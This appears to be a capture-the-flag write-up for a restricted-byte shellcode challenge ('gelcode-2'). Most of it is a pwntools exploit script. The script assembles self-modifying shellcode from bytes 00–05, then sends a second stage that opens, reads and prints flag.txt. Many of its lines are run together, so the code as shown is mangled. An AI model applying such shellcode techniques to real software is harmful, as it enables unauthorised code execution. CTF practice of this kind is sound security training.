The challenge has two main limits. First: the user is limited to bytes between 00-05Second: the length of your shellcode increases the longer the challenge went unsolved. It ended at 362 characters. I didn't complete this challenge until a couple hours after the ctf, but I was able to get my shellcode down to 222 bytes.
```from pwn import *
p = process(['./gelcode-2','362'])
gdb.attach(p)
shellcode = '''/*mov eax, 0x358d48*//*lea rsi, [rip]*/add [rip+3], aladd eax, 0x5050505add eax, 0x5050505add eax, 0x5050505add eax, 0x5050505add eax, 0x5050505add eax, 0x5010505add eax, 0x4050505
add eax, 0x00502add [rip+1], aladd al, 0add eax, 0x00500add eax, 0x00500add eax, 0x00300
add dword ptr [rip], eaxnopnopnopnopnopadd dword ptr [rip], eaxnopnopnopnopnopnopnop
/*mov edx, 0x503*/add al, 5add al, 5add al, 5add al, 5mov [rip+1], aladd al, 2
mov byte ptr [rip], al
nopadd al, 5nopnop
/*mov edi, 0*//*add eax, 0x050505*/add al, 5
mov byte ptr [rip], alnopnopnopnopnop
/*syscall (try to zero out eax)*/ 
/*xor eax, eax; syscall*//*0x358dbf = start*//*050fc031 = target*/mov byte ptr [rip+3], aladd eax, 0x4050505add eax, 0x0050505add eax, 0x0050505add eax, 0x0050505add eax, 0x0050505add eax, 0x0020505add eax, 0x0000505add eax, 0x0000505add eax, 0x000505add eax, 0x000505add eax, 0x0000105
add al, 5add al, 5
add al, 5add al, 5add al, 5add al, 5add al, 4
add [rip+1], aladd al, 1
add [rip], eax'''
shell = '''    mov rsp, rsi    call next    nop    nop    nop    nop    nop    nop    nop    nop    nop    next:    pop rdi    push 0    pop rsi    push 2    pop rax    syscall
    xchg edi, eax    push 0    pop rax    mov rsi, rsp    mov rdx, 100    syscall
    push 1    pop rax    push 1    pop rdi    syscall
'''
shell = asm(shell, arch='amd64')shell = shell[:8] + "flag.txt\x00" + shell[8+9:]
shellcode = asm(shellcode ,arch='amd64')print(len(shellcode))
p.sendline(shellcode.ljust(361,'\x00'))
p.sendline('\x90'*200 + shell)
p.interactive()
```